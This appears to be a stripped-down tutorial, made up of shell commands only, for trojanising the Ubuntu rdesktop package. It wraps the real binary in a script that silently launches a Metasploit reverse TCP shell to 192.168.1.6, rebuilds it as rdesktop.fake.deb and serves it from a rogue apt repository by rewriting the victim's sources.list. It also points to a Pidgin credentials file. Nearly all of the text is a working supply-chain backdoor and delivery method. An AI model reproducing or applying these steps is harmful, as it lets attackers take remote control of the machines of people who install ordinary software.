------------------------------------------------------------------------------------------------------- iman@Pazhoheshi:~$ sudo apt-get install rdesktop ------------------------------------------------------------------------------------------------------- http://ir.archive.ubuntu.com/ ------------------------------------------------------------------------------------------------------- sudo apt-get install mc ------------------------------------------------------------------------------------------------------- dpkg -e rdesktop_1.7.0-1ubuntu2_amd64.deb rdesktop/DEBIAN -e|--control [] Extract control info. ------------------------------------------------------------------------------------------------------- dpkg -x rdesktop_1.7.0-1ubuntu2_amd64.deb rdesktop/ -x|--extract Extract files. ------------------------------------------------------------------------------------------------------- cd rdesktop/usr/bin mv rdesktop rdesktop.orginal touch rdesktop ------------------------------------------------------------------------------------------------------- #! /bin/bash # Pazhoheshi.ir # e2ma3n # run real rdesktop program /usr/bin/rdesktop.orginal # run my code echo "Hi ubuntu" >> /etc/geek.text ------------------------------------------------------------------------------------------------------- msfpayload linux/x64/shell/reverse_tcp LHOST=192.168.1.6 LPORT=2323 X > metasploit ------------------------------------------------------------------------------------------------------- msfcli exploit/multi/handler PAYLOAD=linux/x64/shell/reverse_tcp LHOST=192.168.1.6 LPORT=2323 E ------------------------------------------------------------------------------------------------------- chmod +x rdesktop/usr/bin/metasploit ------------------------------------------------------------------------------------------------------- #! /bin/bash # Pazhoheshi.ir # e2ma3n # run real rdesktop program /usr/bin/rdesktop.orginal # run my code /usr/bin/metasploit & ------------------------------------------------------------------------------------------------------- chmod +x rdesktop ------------------------------------------------------------------------------------------------------- dpkg --build rdesktop/ rdesktop.fake.deb ------------------------------------------------------------------------------------------------------- wget http://192.168.1.6/rdesktop.fake.deb sudo dpkg -i rdesktop.fake.deb ------------------------------------------------------------------------------------------------------- /home/iman/.purple/accounts.xml ------------------------------------------------------------------------------------------------------- apt-get install apache2 ------------------------------------------------------------------------------------------------------- dpkg-scanpackages debs | gzip -9c > debs/Packages.gz ------------------------------------------------------------------------------------------------------- echo "deb http://192.168.1.6/ deb/" >> /etc/apt/sources.list ------------------------------------------------------------------------------------------------------- sudo mv /etc/apt/sources.list /etc/apt/sources.list.backup ; sudo sh -c 'echo "deb http://192.168.1.6/ debs/" >> /etc/apt/sources.list' ; sudo apt-get update ------------------------------------------------------------------------------------------------------- iman@elab:~$ sudo apt-get install rdesktop ------------------------------------------------------------------------------------------------------- rdesktop_1.7.0-1ubuntu2_amd64.deb ------------------------------------------------------------------------------------------------------- /var/cache/apt/archives/ ------------------------------------------------------------------------------------------------------- sudo apt-get --purge remove iman@elab:~$ sudo apt-get --purge remove rdesktop -------------------------------------------------------------------------------------------------------